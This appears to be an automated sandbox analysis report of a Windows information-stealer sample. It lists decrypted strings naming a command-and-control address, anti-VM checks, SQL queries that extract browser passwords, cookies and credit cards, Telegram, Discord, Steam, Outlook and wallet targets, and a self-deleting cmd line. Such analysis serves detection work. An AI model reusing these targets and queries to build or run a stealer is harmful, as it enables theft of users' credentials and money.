Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ntdll.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetUserNameA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CreateDCA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetDeviceCaps
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ReleaseDC
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sscanf
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: VMwareVMware
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: HAL9TH
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: JohnDoe
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: DISPLAY
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: http://185.215.113.206
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: bksvnsj
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: /746f34465cf17784/
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: tale
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetFileAttributesA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GlobalLock
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: HeapFree
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetFileSize
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GlobalSize
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: IsWow64Process
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Process32Next
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetLocalTime
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: FreeLibrary
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetVolumeInformationA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Process32First
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetLocaleInfoA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetModuleFileNameA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: DeleteFileA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: FindNextFileA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: LocalFree
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: FindClose
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: LocalAlloc
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetFileSizeEx
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ReadFile
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SetFilePointer
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: WriteFile
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CreateFileA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: FindFirstFileA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CopyFileA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: VirtualProtect
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetLastError
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: lstrcpynA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: MultiByteToWideChar
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GlobalFree
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: WideCharToMultiByte
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GlobalAlloc
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: OpenProcess
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: TerminateProcess
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetCurrentProcessId
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: gdiplus.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ole32.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: bcrypt.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: wininet.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: shlwapi.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: shell32.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: psapi.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: rstrtmgr.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SelectObject
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: BitBlt
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: DeleteObject
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CreateCompatibleDC
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GdiplusStartup
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GdiplusShutdown
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GdipDisposeImage
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GdipFree
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CoUninitialize
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CoInitialize
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CoCreateInstance
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: BCryptDecrypt
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: BCryptSetProperty
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: BCryptDestroyKey
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetWindowRect
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetDesktopWindow
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetDC
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CloseWindow
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: wsprintfA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CharToOemW
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: wsprintfW
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RegQueryValueExA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RegEnumKeyExA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RegOpenKeyExA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RegCloseKey
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RegEnumValueA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CryptUnprotectData
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SHGetFolderPathA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ShellExecuteExA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: InternetOpenUrlA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: InternetConnectA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: InternetCloseHandle
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: InternetOpenA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: HttpSendRequestA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: HttpOpenRequestA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: InternetReadFile
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: InternetCrackUrlA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: StrCmpCA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: StrStrA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: StrCmpCW
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: PathMatchSpecA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RmStartSession
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RmRegisterResources
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RmGetList
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: RmEndSession
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3_open
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3_step
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3_column_text
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3_finalize
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3_close
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3_column_blob
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: encrypted_key
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: PATH
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: NSS_Init
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: NSS_Shutdown
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: PK11_FreeSlot
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: PK11_Authenticate
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: C:\ProgramData\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: browser:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: profile:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: url:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: login:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: password:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Opera
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: OperaGX
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Network
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: cookies
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: .txt
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: TRUE
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: FALSE
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: autofill
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: history
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: cc
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: name:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: month:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: year:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: card:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Cookies
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Login Data
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Web Data
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: History
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: logins.json
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: formSubmitURL
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: usernameField
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: encryptedUsername
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: encryptedPassword
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: guid
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: cookies.sqlite
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: formhistory.sqlite
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: places.sqlite
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: plugins
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Local Extension Settings
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Sync Extension Settings
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: IndexedDB
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Opera Stable
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Opera GX Stable
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: CURRENT
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: chrome-extension_
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Local State
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: profiles.ini
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: chrome
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: opera
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: firefox
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: wallets
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ProductName
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: x32
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: x64
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ProcessorNameString
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: DisplayName
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: DisplayVersion
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Network Info:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - IP: IP?
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Country: ISO?
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: System Summary:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - HWID:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - OS:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Architecture:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - UserName:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Computer Name:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Local Time:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - UTC:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Language:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Keyboards:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Laptop:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Running Path:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - CPU:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Threads:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Cores:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - RAM:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - Display Resolution:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: - GPU:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: User Agents:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Installed Apps:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: All Users:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Current User:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Process List:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: system_info.txt
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: freebl3.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: mozglue.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: msvcp140.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: nss3.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: softokn3.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: vcruntime140.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \Temp\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: .exe
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: runas
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: open
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: /c start
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %DESKTOP%
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %APPDATA%
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %USERPROFILE%
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %DOCUMENTS%
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: %RECENT%
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: *.lnk
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: files
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \discord\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \Telegram Desktop\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: key_datas
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: map*
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Telegram
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Tox
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: *.tox
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: *.ini
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Password
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: 00000001
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: 00000002
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: 00000003
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: 00000004
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Pidgin
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \.purple\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: accounts.xml
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: token:
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Software\Valve\Steam
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: SteamPath
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \config\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ssfn*
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: config.vdf
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: DialogConfig.vdf
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: libraryfolders.vdf
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: loginusers.vdf
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \Steam\
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: sqlite3.dll
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: browsers
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: done
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: soft
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: https
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: POST
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: HTTP/1.1
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: hwid
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: build
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: token
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: file_name
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: file
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: message
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 26.2.3S96n.exe.550000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00212F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,		0_2_00212F1D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00352F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,		1_2_00352F1D

Source: ByVoN4bhSU.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:50083 version: TLS 1.2

Source: ByVoN4bhSU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: mozglue[1].dll.3.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.3.dr
Source:	Binary string: wextract.pdb source: ByVoN4bhSU.exe, j1C74.exe.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.3.dr
Source:	Binary string: nss3.pdb@ source: nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: wextract.pdbGCTL source: ByVoN4bhSU.exe, j1C74.exe.0.dr
Source:	Binary string: my_library.pdbU source: 2h6379.exe, 00000003.00000003.2257337140.0000000008EAB000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000003.2810499954.0000000004A8B000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2851008315.000000000057C000.00000040.00000001.01000000.00000016.sdmp, chrome.dll.3.dr
